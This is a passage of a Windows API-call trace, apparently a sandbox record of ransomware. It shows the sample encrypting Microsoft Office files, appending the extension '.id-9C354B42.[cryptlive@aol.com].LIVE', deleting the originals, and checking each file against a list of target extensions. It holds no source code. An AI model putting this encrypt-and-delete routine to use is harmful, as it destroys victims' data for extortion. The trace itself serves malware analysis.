(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.739] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.739] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0144.740] GetLastError () returned 0x0 [0144.740] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0144.741] WriteFile (in: hFile=0x3c0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0144.742] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.742] WriteFile (in: hFile=0x3c0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0144.742] SetEndOfFile (hFile=0x3c0) returned 1 [0144.742] CloseHandle (hObject=0x3c0) returned 1 [0144.742] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.742] SetEndOfFile (hFile=0x3ac) returned 1 [0144.746] CloseHandle (hObject=0x3ac) returned 1 [0144.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_f_col.hxk")) returned 1 [0144.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.756] lstrlenW (lpString=".doc") returned 4 [0144.756] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.756] lstrlenW (lpString=".docx") returned 5 [0144.757] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.757] lstrlenW (lpString=".pdf") returned 4 [0144.757] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.757] lstrlenW (lpString=".xls") returned 4 [0144.757] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.757] lstrlenW (lpString=".xlsx") returned 5 [0144.757] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.757] lstrlenW (lpString=".ppt") returned 4 [0144.757] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.757] lstrlenW (lpString=".zip") returned 4 [0144.757] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.757] lstrlenW (lpString=".rar") returned 4 [0144.757] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.757] lstrlenW (lpString=".bz2") returned 4 [0144.757] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.757] lstrlenW (lpString=".7z") returned 3 [0144.757] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.757] lstrlenW (lpString=".dbf") returned 4 [0144.757] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.757] lstrlenW (lpString=".1cd") returned 4 [0144.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.757] lstrlenW (lpString=".jpg") returned 4 [0144.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.757] lstrlenW (lpString=".doc") returned 4 [0144.757] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.757] lstrlenW (lpString=".docx") returned 5 [0144.757] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.757] lstrlenW (lpString=".pdf") returned 4 [0144.757] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.758] lstrlenW (lpString=".xls") returned 4 [0144.758] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.758] lstrlenW (lpString=".xlsx") returned 5 [0144.758] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.758] lstrlenW (lpString=".ppt") returned 4 [0144.758] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.758] lstrlenW (lpString=".zip") returned 4 [0144.758] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.758] lstrlenW (lpString=".rar") returned 4 [0144.758] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.758] lstrlenW (lpString=".bz2") returned 4 [0144.758] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.758] lstrlenW (lpString=".7z") returned 3 [0144.758] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.758] lstrlenW (lpString=".dbf") returned 4 [0144.758] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.758] lstrlenW (lpString=".1cd") returned 4 [0144.758] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_F_COL.HXK") returned 65 [0144.758] lstrlenW (lpString=".jpg") returned 4 [0144.758] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.758] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0144.758] lstrlenW (lpString="OUTLOOK_K_COL.HXK") returned 17 [0144.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.759] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0144.759] CloseHandle (hObject=0x3ac) returned 1 [0144.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 0x20 [0144.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0144.759] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.759] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0144.760] GetLastError () returned 0x0 [0144.760] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0144.832] WriteFile (in: hFile=0x3c0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0144.833] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.833] WriteFile (in: hFile=0x3c0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0144.833] SetEndOfFile (hFile=0x3c0) returned 1 [0144.833] CloseHandle (hObject=0x3c0) returned 1 [0144.833] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.833] SetEndOfFile (hFile=0x3ac) returned 1 [0144.847] CloseHandle (hObject=0x3ac) returned 1 [0144.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk")) returned 1 [0144.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.848] lstrlenW (lpString=".doc") returned 4 [0144.848] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.848] lstrlenW (lpString=".docx") returned 5 [0144.848] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.848] lstrlenW (lpString=".pdf") returned 4 [0144.848] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.848] lstrlenW (lpString=".xls") returned 4 [0144.848] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.848] lstrlenW (lpString=".xlsx") returned 5 [0144.848] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.848] lstrlenW (lpString=".ppt") returned 4 [0144.848] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.848] lstrlenW (lpString=".zip") returned 4 [0144.848] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.848] lstrlenW (lpString=".rar") returned 4 [0144.848] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.848] lstrlenW (lpString=".bz2") returned 4 [0144.848] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.848] lstrlenW (lpString=".7z") returned 3 [0144.848] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.849] lstrlenW (lpString=".dbf") returned 4 [0144.849] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.849] lstrlenW (lpString=".1cd") returned 4 [0144.849] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.849] lstrlenW (lpString=".jpg") returned 4 [0144.849] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.849] lstrlenW (lpString=".doc") returned 4 [0144.849] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.849] lstrlenW (lpString=".docx") returned 5 [0144.849] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.849] lstrlenW (lpString=".pdf") returned 4 [0144.849] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.849] lstrlenW (lpString=".xls") returned 4 [0144.849] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.849] lstrlenW (lpString=".xlsx") returned 5 [0144.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.849] lstrlenW (lpString=".ppt") returned 4 [0144.849] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.849] lstrlenW (lpString=".zip") returned 4 [0144.849] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.849] lstrlenW (lpString=".rar") returned 4 [0144.849] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.849] lstrlenW (lpString=".bz2") returned 4 [0144.850] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.850] lstrlenW (lpString=".7z") returned 3 [0144.850] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.850] lstrlenW (lpString=".dbf") returned 4 [0144.850] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.850] lstrlenW (lpString=".1cd") returned 4 [0144.850] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK") returned 65 [0144.850] lstrlenW (lpString=".jpg") returned 4 [0144.850] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.850] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0144.850] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0144.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0145.045] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1920) returned 1 [0145.045] CloseHandle (hObject=0x3bc) returned 1 [0145.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 0x20 [0145.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0145.045] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.045] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.046] GetLastError () returned 0x0 [0145.046] ReadFile (in: hFile=0x3bc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x780, lpOverlapped=0x0) returned 1 [0145.070] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x790, lpOverlapped=0x0) returned 1 [0145.172] ReadFile (in: hFile=0x3bc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.172] WriteFile (in: hFile=0x3a8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.172] SetEndOfFile (hFile=0x3a8) returned 1 [0145.172] CloseHandle (hObject=0x3a8) returned 1 [0145.172] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.172] SetEndOfFile (hFile=0x3bc) returned 1 [0145.175] CloseHandle (hObject=0x3bc) returned 1 [0145.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 1 [0145.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.274] lstrlenW (lpString=".doc") returned 4 [0145.274] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0145.274] lstrlenW (lpString=".docx") returned 5 [0145.274] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0145.274] lstrlenW (lpString=".pdf") returned 4 [0145.274] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0145.274] lstrlenW (lpString=".xls") returned 4 [0145.274] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0145.274] lstrlenW (lpString=".xlsx") returned 5 [0145.274] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0145.274] lstrlenW (lpString=".ppt") returned 4 [0145.274] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0145.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString=".zip") returned 4 [0145.275] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0145.275] lstrlenW (lpString=".rar") returned 4 [0145.275] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString=".bz2") returned 4 [0145.275] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString=".7z") returned 3 [0145.275] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0145.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString=".dbf") returned 4 [0145.275] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString=".1cd") returned 4 [0145.275] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString=".jpg") returned 4 [0145.275] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString=".doc") returned 4 [0145.275] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString=".docx") returned 5 [0145.275] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0145.275] lstrlenW (lpString=".pdf") returned 4 [0145.275] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString=".xls") returned 4 [0145.275] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0145.275] lstrlenW (lpString=".xlsx") returned 5 [0145.275] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0145.275] lstrlenW (lpString=".ppt") returned 4 [0145.275] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0145.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.275] lstrlenW (lpString=".zip") returned 4 [0145.275] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0145.275] lstrlenW (lpString=".rar") returned 4 [0145.275] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0145.276] lstrlenW (lpString=".bz2") returned 4 [0145.276] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0145.276] lstrlenW (lpString=".7z") returned 3 [0145.276] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0145.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.276] lstrlenW (lpString=".dbf") returned 4 [0145.276] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0145.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.276] lstrlenW (lpString=".1cd") returned 4 [0145.276] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0145.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0145.276] lstrlenW (lpString=".jpg") returned 4 [0145.276] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0145.276] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0145.276] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0145.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.276] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=208) returned 1 [0145.277] CloseHandle (hObject=0x38c) returned 1 [0145.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 0x20 [0145.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.277] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.277] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, 